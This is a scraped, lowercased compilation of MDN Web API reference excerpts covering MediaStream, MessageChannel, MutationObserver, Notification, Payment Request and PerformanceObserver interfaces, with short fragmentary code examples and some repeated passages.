the mediastreamaudiodestinationnode() constructor of the web audio api creates a
new mediastreamaudiodestinationnode object instance. syntax var myaudiodest =
new mediastreamaudiodestinationnode(context, options); parameters inherits parameters from the audionodeoptions dictionary. context an audiocontext representing the audio context you want the node to be associated with. options optional an audionodeoptions dictionary object defining the properties you want the mediastreamaudiodestinationnode to have. return value a
new mediastreamaudiodestinationnode object instance. ...
...s); parameters inherits parameters from the audionodeoptions dictionary. context an audiocontext representing the audio context you want the node to be associated with. options optional an audionodeoptions dictionary object defining the properties you want the mediastreamaudiodestinationnode to have. return value a
new mediastreamaudiodestinationnode object instance. example var ac =
new audiocontext(); var mydestination =
new mediastreamaudiodestinationnode(ac); specifications specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification. working draft ...
MediaStreamEvent() - Web APIs
the mediastreamevent() constructor creates a
new mediastreamevent. syntax var event =
new mediastreamevent(type, mediastreameventinit); values type is a domstring containing the name of the event, like addstream or removestream. mediastreameventinit is a mediastreameventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the event. "bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not. "cancelable", optional and defaulting to false, inherited from eventinit, and indicating if the event can be canceled or not. ...
...lowing fields: "stream" of type mediastream representing the stream being concerned by the event. "bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not. "cancelable", optional and defaulting to false, inherited from eventinit, and indicating if the event can be canceled or not. example // s is a mediastream var event =
new mediastreamevent("addstream", {"stream": s}); ...
MediaStreamTrack.enabled - Web APIs
track by setting enabled to false also updates device activity indicators to show that the camera is not currently recording or streaming. for example, the green "in use" light next to the camera in imac and macbook computers turns off while the track is muted in this way. example this example demonstrates a click event handler for a pause button. pausebutton.onclick = function(evt) { const
newstate = !myaudiotrack.enabled; pausebutton.innerhtml =
newstate ? "▶️" : "⏸️"; myaudiotrack.enabled =
newstate; } this creates a variable,
newstate, which is the opposite of the current value of enabled, then uses that to select either the emoji character for the "play" icon or the character for the "pause" icon as the
new innerhtml of the pause button's element. ...
... specifications specification status comment media capture and streamsthe definition of 'enabled' in that specification. ...
MediaStream Recording API - Web APIs
ror events by setting up a onerror event handler. example here, we use an html canvas as source of the mediastream, and stop recording after 9 seconds. var canvas = document.queryselector("canvas"); // optional frames per second argument. ...
...webm; codecs=vp9" }; mediarecorder =
new mediarecorder(stream, options); mediarecorder.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ... ...
Using the Media Capabilities API - Web APIs
nt on a standard dynamic range (sdr) screen. support for getting real-time feedback about the playback of media, so your code can make informed decisions about adapting the stream's quality or other settings to manage the user's perceived media performance and quality. one feature of this is the ability to detect when the device switches gpus, so you can make appropriate adjustments based on the
new gpu's capabilities. note: the display capabilities functionality mentioned in the third point above have not yet appeared in any browser. they will be a useful feature of the api once available, but there is a high probability of the display capabilities functionality changing a great deal before browser implementations arrive. the mediacapabilities interface the mediacapabilities is availa...
...selected>15</option> </select> </li> <li> <label for="bitrate">select a bitrate</label> <select id="bitrate"> <option>4000</option> <option>2500</option> <option>800</option> </select> </li> </ul> <p><input type="button" value="test this video configuration" id="tryit"></p> </form> <ul id="results"></ul> javascript let mc = { videoconfiguration :
new object(), tryit: function () { mc.createconfiguration(); mc.testit(); }, createconfiguration: function () { var size = document.getelementbyid('size').value.split('x'); mc.videoconfiguration = { type: 'file', video: { contenttype: document.getelementbyid('codec').value, width: size[0], height: size[1], bitrate: document.getelementb...
MerchantValidationEvent() - Web APIs
options optional an optional dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. ...
... contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. validationurl optional the url from which to retrieve payment handler specific verification information used to validate the merchant. this is an empty string by default. return value a
newly-created merchantvalidationevent providing the information that needs to be delivered to the client-side code to present to the user agent by calling complete(). exceptions typeerror the string specified as validationurl could not be parsed as a url. rangeerror the specified methodname does not correspond to a known and supported merchant or is not a well-formed standard payment method id...
MessageChannel() - Web APIs
the messagechannel() constructor of the messagechannel interface returns a
new messagechannel object with two
new messageport objects. note: this feature is available in web workers. syntax var channel =
new messagechannel(); returns a
newly created messagechannel object. example in the following code block, you can see a
new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph. ...
...reated using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph. messagechannel.port1 is listened to, to check when the message arrives. ...
MessageChannel.port1 - Web APIs
f the messagechannel interface returns the first port of the message channel — the port attached to the context that originated the channel. note: this feature is available in web workers. syntax channel.port1; value a messageport object, the first port of the channel, that is the port attached to the context that originated the channel. example in the following code block, you can see a
new channel being created using the messagechannel() constructor. when the <iframe> has loaded, we pass messagechannel.port2 to the <iframe> using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the <iframe> (using messageport.onmessage), putting it into a paragraph. the handlemessage method is associated to the port1 to listen w...
...channel() constructor. when the <iframe> has loaded, we pass messagechannel.port2 to the <iframe> using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the <iframe> (using messageport.onmessage), putting it into a paragraph. the handlemessage method is associated to the port1 to listen when the message arrives. ...
MessageChannel.port2 - Web APIs
of the message channel — the port attached to the context at the other end of the channel, which the message is initially sent to. note: this feature is available in web workers. syntax channel.port2; value a messageport object representing the second port of the channel, the port attached to the context at the other end of the channel. example in the following code block, you can see a
new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph. messagechannel.port1 is listened to, to check when the message arrives.
...reated using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass port2 to the iframe using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe (using messageport.onmessage), putting it into a paragraph. messagechannel.port1 is listened to, to check when the message arrives. ...
MessageChannel - Web APIs
the messagechannel interface of the channel messaging api allows us to create a
new message channel and send data through it via its two messageport properties. note: this feature is available in web workers. properties messagechannel.port1 read only returns port1 of the channel. messagechannel.port2 read only returns port2 of the channel. constructor messagechannel() returns a
new messagechannel object with two
new messageport objects. example in the following example, you can see a
new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message. when a message i...
...channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message. when a message is received back from the iframe, the onmessage function simply outputs the message to a paragraph. ...
MessageEvent.MessageEvent() - Web APIs
this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent. this can be of any data type, and will default to null if not specified. origin: a usvstring representing the origin of the message emitter. this defaults to an empty string ("") if not specified. lasteventid: a domstring representing a unique id for the event. this defaults to an empty string ("") if not specified. ...
..., or serviceworker object) representing the message emitter. this defaults to null if not set. ports: an array of messageport objects representing the ports associated with the channel the message is being sent through (where appropriate, e.g. in channel messaging or when sending a message to a shared worker). this defaults to an empty array ([]) if not specified. example var mymessage =
new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification. living standard ...
MessageEvent - Web APIs
properties this interface also inherits properties from its parent, event. messageevent.data read only the data sent by the message emitter. messageevent.origin read only a usvstring representing the origin of the message emitter. messageevent.lasteventid read only a domstring representing a unique id for the event. messageevent.source read only a messageeventsource...
...two html pages, each of which uses some javascript to perform a simple calculation. the different scripts are using the same worker file to perform the calculation — they can both access it, even if their pages are running inside different windows. the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker =
new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. if the onmessage event is attached using addeventlistener, the port is manually started using its start() method: myworker.port.start(); when the port is started, both scripts post messages to the worker and handle messages sent from it using port.postmessa...
MessagePort.onmessage - Web APIs
the onmessage event handler of the messageport interface is an eventlistener, called whenever an messageevent of type message is fired on the port — that is, when the port receives a message. note: this feature is available in web workers. syntax channel.onmessage = function() { ... }; example in the following code block, you can see a
new channel being created using the messagechannel.messagechannel constructor. ...
...ed using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass messagechannel.port2 to the iframe using messageport.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives. ...
MessagePort.postMessage() - Web APIs
message the message you want to send through the channel. this can be of any basic data type. multiple data items can be sent as an array. transferlist optional transferable objects to be transferred — these objects have their ownership transferred to the receiving browsing context, so are no longer usable by the sending browsing context. example in the following code block, you can see a
new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass messagechannel.port2 to the iframe using window.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives. ...
...created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass messagechannel.port2 to the iframe using window.postmessage along with a message. the handlemessage handler then responds to a message being sent back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives. ...
MessagePort - Web APIs
messageerror is fired—that is, when it receives a message that cannot be deserialized. events message fired when a messageport object receives a message. also available via the onmessage property. messageerror fired when a messageport object receives a message that can't be deserialized. also available via the onmessageerror property. ...
...can see a
new channel being created using the messagechannel() constructor. when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message. when a message is received back from the iframe, the onmessage function simply outputs the message to a paragraph. ...
Metadata.modificationTime - Web APIs
; value a date timestamp indicating when the file system entry was last changed. example this example tries to get a particular working file at tmp/workfile.json. once that file has been found, its metadata is obtained and the file's modification timestamp year is compared to the current year. ...
...json. once that file has been found, its metadata is obtained and the file's modification timestamp year is compared to the current year. if it was last modified in a year at least five prior to the current year, the file is removed and a
new one is created. workingdirectory.getfile("tmp/workfile.json", { create: true }, function(fileentry) { fileentry.getmetadata(function(metadata) { if ((
new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(
newentry) { fileentry =
newentry; }); }); } }); }, handleerror); this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this pag...
Microdata DOM API - Web APIs
ment, having obtained the types by splitting the string on spaces. if there are no tokens specified in the argument, then the method must return a nodelist containing all the top-level microdata items in the document. when the method is invoked on a document object again with the same argument, the user agent may return the same object as the object returned by the earlier call. in other cases, a
new nodelist object must be returned. properties element . itemvalue [ = value ] returns the element's value. can be set, to change the element's value. setting the value when the element has no itemprop attribute or when the element's value is an item throws an invalidaccesserror exception. element . properties if the element has an itemscope attribute, returns an htmlpropertiescollection obje...
... object are those that have a property name equal to name. the nodes in the propertynodelist object must be sorted in tree order, and the same object must be returned each time a particular name is queried. members of the propertynodelist interface inherited from the nodelist interface must behave as they would on a nodelist object. the getvalues method the propertynodelist object must return a
newly constructed array whose values are the values obtained from the itemvalue idl attribute of each of the elements represented by the object, in tree order. ...
MouseEvent.buttons - Web APIs
for example, if the secondary (2) and auxilary (4) buttons are pressed simultaneously, the value is 6 (i.e., 2 + 4). ...
... the mouse wheel button or middle button) 8 : 4th button (typically the "browser back" button) 16 : 5th button (typically the "browser forward" button) example this example logs the buttons property when you trigger a mousedown event. ...
MutationObserverInit.attributeFilter - Web APIs
bject, all attributes' values are watched for changes. syntax var options = { attributefilter: [ "list", "of", "attribute", "names" ] } value an array of domstring objects, each specifying the name of one attribute whose value is to be monitored for changes. there is no default value. if this property exists on the options object when the mutationobserver() constructor is used to create a
new mutationobserver, attribute monitoring is enabled regardless of whether or not the attributes property is true. example in this example, a mutation observer is set up to watch for changes to the status and username attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nicknames, or to mar...
...for any items representing an attribute change (which can be detected by the value ...
MutationObserverInit.attributeOldValue - Web APIs
for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a f...
...back() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's
new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's previous value. specifications specification status commen...
MutationObserverInit.attributes - Web APIs
for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a f...
...back() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's
new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's previous value. specifications specification status commen...
Navigator.sendBeacon() - Web APIs
request call in unload or beforeunload event handlers. creating an <img> element and setting its src in the unload handler. most user agents will delay the unload to load the image. creating a no-op loop for several seconds in the unload handler. all of these methods block unloading the document, which slows down the next navigation. ...
...with the sendbeacon() method, the data is transmitted asynchronously when the user agent has an opportunity to do so, without delaying unload or the next navigation. ...
navigator.hardwareConcurrency - Web APIs
ser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of workers that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system. ...
...ported by the browser and a record is created which includes a reference to the
new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use. this creates a pool of workers we can use to process requests later. let workerlist = []; for (let i = 0; i < window.navigator.hardwareconcurrency; i++) { let
newworker = { worker:
new worker('cpuworker.js'), inuse: false }; workerlist.push(
newworker); } specification specification status comment html living standardthe definition of 'navigator.hardwareconcurrency' in that specification. living standard initial definition. ...
Notification.close() - Web APIs
s api would be to remove a notification that is no longer relevant (e.g. the user already read the notification on the webpage in the case of a messaging app or the following song is already playing in a music app). syntax notification.close(); parameters none. returns void. ...
...t, we have a simple function that when called creates an options object and then a
new notification. at the end of the function, it also calls close() inside a addeventlistener() function to remove the notification when the relevant content has been read on the webpage. function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon }; var n =
new notification(thetitle,options); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification. n.close(); } }); } specifications specification status comment notifications api living standard living standard ...
Notification.permission - Web APIs
ification. ...
...} specifications specification status comment notifications apithe definition of 'permission' in that specification. ...
Notification.renotify - Web APIs
note: this feature is available in web workers. the renotify read-only property of the notification interface specifies whether the user should be notified after a
new notification replaces an old one, as specified in the renotify option of the notification() constructor. syntax var renotify = notification.renotify; value a boolean. false is the default; true makes the notification renotify the user. ...
...fy; value a boolean. false is the default; true makes the notification renotify the user. examples the following snippet is intended to fire a notification that renotifies the user after it has been replaced; a simple options object is created, and then the notification is fired using the notification() constructor. var options = { body: 'do you like my body?', renotify: true } var n =
new notification('test notification',options); console.log(n.renotify) // should log true specifications specification status comment notifications apithe definition of 'renotify' in that specification. living standard living standard ...
Notification.requestPermission() - Web APIs
a notification. ...
... // if it's okay let's create a notification var notification =
new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification =
new notification("hi there!"); } }); } // at last, if the user has denied notifications, and you // want to be respectful there is no need to bother them any more. } we no longer show a live sample on this page, as chrome and firefox no longer allow notification permissions to be requested from cross-origin <iframe>s, with other browsers to follow. to see a example in action, check ...
OES_standard_derivatives - Web APIs
n() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. in webgl 2, the constant is available as gl.fragment_shader_derivative_hint and it requires glsl #version 300 es. ...
...able as gl.fragment_shader_derivative_hint and it requires glsl #version 300 es. constants this extension exposes one
new constant, which can be used in the hint() and getparameter() methods. ext.fragment_shader_derivative_hint_oes a glenum indicating the accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth. ...
OrientationSensor - Web APIs
ding. the rotation maxtrix is shown below. examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second. on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone. const options = { frequency: 60, referenceframe: 'device' }; const sensor =
new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation...
...on).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors. becuase the permissions uses promises, a good way to request permissions is to use promise.all. const sensor =
new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ... } else { co...
OscillatorNode - Web APIs
t.createoscillator() method. it always has exactly one output and no inputs. its basic property defaults (see audionode for definitions) are: number of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a
new instance of an oscillatornode object, optionally providing an object specifying default values for the node's properties. if the default values are acceptable, you can simply call the baseaudiocontext.createoscillator() factory method. properties inherits properties from its parent, audioscheduledsourcenode, and adds the following properties: oscillatornode.frequency an a-rate audioparam ...
...() specifies the exact time to start playing the tone. oscillatornode.stop() specifies the time to stop playing the tone. examples the following example shows basic usage of an audiocontext to create an oscillator node and to start playing a tone on it. for an applied example, check out our violent theremin demo (see app.js for relevant code). ...
OverconstrainedError.OverconstrainedError() - Web APIs
message text for the error's message property. specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification. ...
... message text for the error's message property. specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification. ...
Path2D.addPath() - Web APIs
using document.createelementns() and createsvgmatrix(). we then add the second path to the first using addpath(), also applying the matrix to move the second path to the right. finally, we draw the first path (which now contains both rectangles) using fill(). ...
... first using addpath(), also applying the matrix to move the second path to the right. finally, we draw the first path (which now contains both rectangles) using fill(). ...
Path2D - Web APIs
the path2d interface of the canvas 2d api is used to declare a path that can then be used on a canvasrenderingcontext2d object. the path methods of the canvasrenderingcontext2d interface are also present on this interface, which gives you the convenience of being able to retain and replay your path whenever desired. constructors path2d() path2d constructor. creates a
new path2d object. ...
... path2d.lineto() connects the last point in the subpath to the (x, y) coordinates with a straight line. path2d.beziercurveto() adds a cubic bézier curve to the path. it requires three points. the first two points are control points and the third one is the end point. ...
PaymentAddress - Web APIs
cating the language code of the address. this identifies the language in which the address is given, and is intended to aid in localization of the display of the address. methods paymentaddress.tojson() a standard serializer that returns a json representation of the paymentaddress object's properties. examples in the following example, the paymentrequest() constructor is used to create a
new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options. the first of these three (supportedinstruments in the example below) contains a data property that has to conform to t...
... // call show() to trigger the browser's payment flow. const response = await request.show(); // process payment. const json = response.tojson(); const httpresponse = await fetch("/pay/", { method: "post", body: json }); const result = httpresponse.ok ? "success" : "failure"; await response.comple...
PaymentMethodChangeEvent - Web APIs
options optional an optional paymentmethodchangeeventinit dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. ...
...ies: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. methoddetails optional an object providing payment method-specific information describing the changes made to the payment, or null if there is no additional information available or required. this is null by default. return value a
newly-created paymentmethodchangeevent object describing a change to the options specified for the payment method given in the methodname property. the type of the methoddetails property depends on the payment method. for example, if methodname is basic-card, indicating that the basic card payment method is being used for validation, the methoddetails field must be a basiccardchangedetails object. ...
PaymentMethodChangeEvent.methodDetails - Web APIs
default value is null, indicating that no additional details are available. example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method. ...
...mentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const
newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card... // methoddetails contains the card information const result = calculatediscount(ev.methoddetails); object.assign(
newstuff, result); break; } } // finally... ev.updatewith(
newstuff); }; const response = await request.show(); note that the methoddetails property is being used by the calculatediscount() function to compute any payment discount, then updatewith() is called to update the event with the computed update. specifications specification status comment payment r...
PaymentMethodChangeEvent.methodName - Web APIs
equest api for more information. the default value is the empty string, "". example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method. ...
...mentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const
newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card... // methoddetails contains the card information const result = calculatediscount(ev.methoddetails); object.assign(
newstuff, result); break; } } // finally... ev.updatewith(
newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methodname' in that specification. candidate recommendation initial definition. ...
PaymentRequest.canMakePayment() - Web APIs
entrequest object for both apple pay and credit cards. it wraps the call to canmakepayment() in feature detection, and calls an appropriate callback depending on the resolution of the promise. ...
...ncy: "usd", value: "0.00", }, }, }; const supportsapplepay =
new paymentrequest( [{ supportedmethods: "https://apple.com/apple-pay" }], details ).canmakepayment(); // supports apple pay? if (await supportsapplepay) { // show apple pay logo, for instance return; } // otherwise... let's see if we can use basic card const supportsbasiccard = await
new paymentrequest( [{ supportedmethods: "basic-card" }], details ).canmakepayment(); if (supportsbasiccard) { // show basic card support return; } // otherwise, make payments using html form element } specifications specification status comment payment request apithe definition of 'canmakepayment()' in that specification. candidate recommendati...
PaymentRequest.onpaymentmethodchange - Web APIs
). to make sure you receive the event, you should add event listeners to paymentrequest object after instantiation, but before you call show(). ...
...entmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const
newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card... // methoddetails contains the store card information const result = calculatediscount(ev.methoddetails); object.assign(
newstuff, result); break; } } // finally... ev.updatewith(
newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'onpaymentmethodchange' in that specification. candidate recommendation initial definition. ...
PaymentRequest: paymentmethodchange event - Web APIs
t handler. for example, if the user switches from one credit card to another on their apple pay account, a paymentmethodchange event is fired to let you know about the change. bubbles no cancelable no interface paymentmethodchangeevent event handler property onpaymentmethodchange examples let's take a look at an example. this code creates a
new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user. the code assumes the existence of a method detailsforshipping(), which returns a paymentdetailsupdate object containing the shipping options for the ground shipping method, in the form found in the paymentshippingoption dict...
...ent interface to the user. the code assumes the existence of a method detailsforshipping(), which returns a paymentdetailsupdate object containing the shipping options for the ground shipping method, in the form found in the paymentshippingoption dictionary. by doing so, the payment form defaults to the ground shipping method. ...
PaymentRequest: shippingoptionchange event - Web APIs
charge for the payment based on the selected shipping option. for example, if there are three options (such as "free ground shipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed shipping option. paymentrequest.addeventlistener("shippingoptionchange", event => { const value = calculate
newtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }, false); after caling a custom function, calculate
newtotal(), to compute the updated total based on the
newly-selected shipping option as specified by the shippingoption. the revised total is submitted back to the payment request by calling the eve...
...otal based on the
newly-selected shipping option as specified by the shippingoption. the revised total is submitted back to the payment request by calling the event's updatewith() method. you can also create an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculate
newtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definition of 'shippingoptionchange' in that specification. candidate recommendation initial definition. ...
PaymentRequestEvent.openWindow() - Web APIs
it must be on the same origin as the calling page. return value a promise that resolves with a reference to a windowclient. ...
...it must be on the same origin as the calling page. return value a promise that resolves with a reference to a windowclient. ...
PaymentRequestEvent - Web APIs
properties instrumentkeyread only returns a paymentinstrument object reflecting the payment instrument selected by the user or an empty string if the user has not registered or chosen a payment instrument. ...
...estidread only returns the id of the paymentrequest object. paymentrequestoriginread only returns the origin where the paymentrequest object was initialized. toporiginread only returns the top-level origin where the paymentrequest object was initialized. totalread only returns the total amount being requested for payment. methods openwindow() opens the specified url in a
new window, if and only if the given url is on the same origin as the calling page. it returns a promise that resolves with a reference to a windowclient. respondwith() prevents the default event handling and allows you to provide a promise for a paymentresponse object yourself. specifications specification status comment payment handler apithe definition of 'paymentrequ...
PaymentRequestUpdateEvent - Web APIs
resschange secure context dispatched whenever the user changes their shipping address. also available using the onshippingaddresschange event handler property. shippingoptionchange secure context dispatched whenever the user changes a shipping option. also available using the onshippingoptionchange event handler property. constructor paymentrequestupdateevent() secure context creates a
new paymentrequestupdateevent object. properties provides only the properties inherited from its parent interface, event. methods in addition to methods inherited from the parent interface, event, paymentrequestupdateevent offers the following methods: paymentrequestupdateevent.updatewith() secure context if the event handler determines that information included in the payment request needs ...
...ent object. properties provides only the properties inherited from its parent interface, event. methods in addition to methods inherited from the parent interface, event, paymentrequestupdateevent offers the following methods: paymentrequestupdateevent.updatewith() secure context if the event handler determines that information included in the payment request needs to be changed, or that
new information needs to be added, it calls updatewith() with the information that needs to be replaced or added. specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent' in that specification. candidate recommendation initial definition. ...
PaymentResponse.complete() - Web APIs
etry the payment is pending. you can't treat a payment as complete after requesting that the payment be tried again. examples the following example sends payment information to a secure server using the fetch api. it calls complete() with an answer appropriate to the status in the response. // initialization of paymentrequest arguments are excerpted for the // sake of brevity. ...
...propriate to the status in the response. // initialization of paymentrequest arguments are excerpted for the // sake of brevity. ...
PeformanceObserver.disconnect() - Web APIs
the disconnect() method of the performanceobserver interface is used to stop the performance observer from receiving any performance entry events. syntax performanceobserver.disconnect(); example var observer =
new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event // ... ...
... candidate recommendation initial definition of disconnect() method. ...
PerformanceObserver.observe() - Web APIs
alid performance entry type names. unrecognized types are ignored, though the browser may output a warning message to the console to help developers debug their code. if no valid types are found, observe() has no effect. examples this example creates and configures two performanceobservers; one watches for "mark" and "frame" events, and the other watches for "measure" events. ...
...k" and "frame" events, and the other watches for "measure" events. var observer =
new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 =
new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification. candidate recommendation initial definition of observe() method. ...
PerformanceObserver - Web APIs
methods performanceobserver.observe() specifies the set of entry types to observe. the performance observer's callback function will be invoked when a performance entry is recorded for one of the specified entrytypes performanceobserver.disconnect() stops the performance observer callback from receiving performance entries. ...
...recorded for one of the specified entrytypes performanceobserver.disconnect() stops the performance observer callback from receiving performance entries. performanceobserver.takerecords() returns the current list of performance entries stored in the performance observer, emptying it out. example function perf_observer(list, observer) { // process the "measure" event } var observer2 =
new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification. candidate recommendation initial definition of performanceobserver interface. ...
PerformanceObserverEntryList.getEntries() - Web APIs
he filter are found, an empty list is returned. if no argument is given, all entries are returned. ...
...length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame =
new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the def...
PerformanceObserverEntryList.getEntriesByName() - Web APIs
d on the entries' starttime. if no objects meet the specified criteria, an empty list is returned. ...
...length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame =
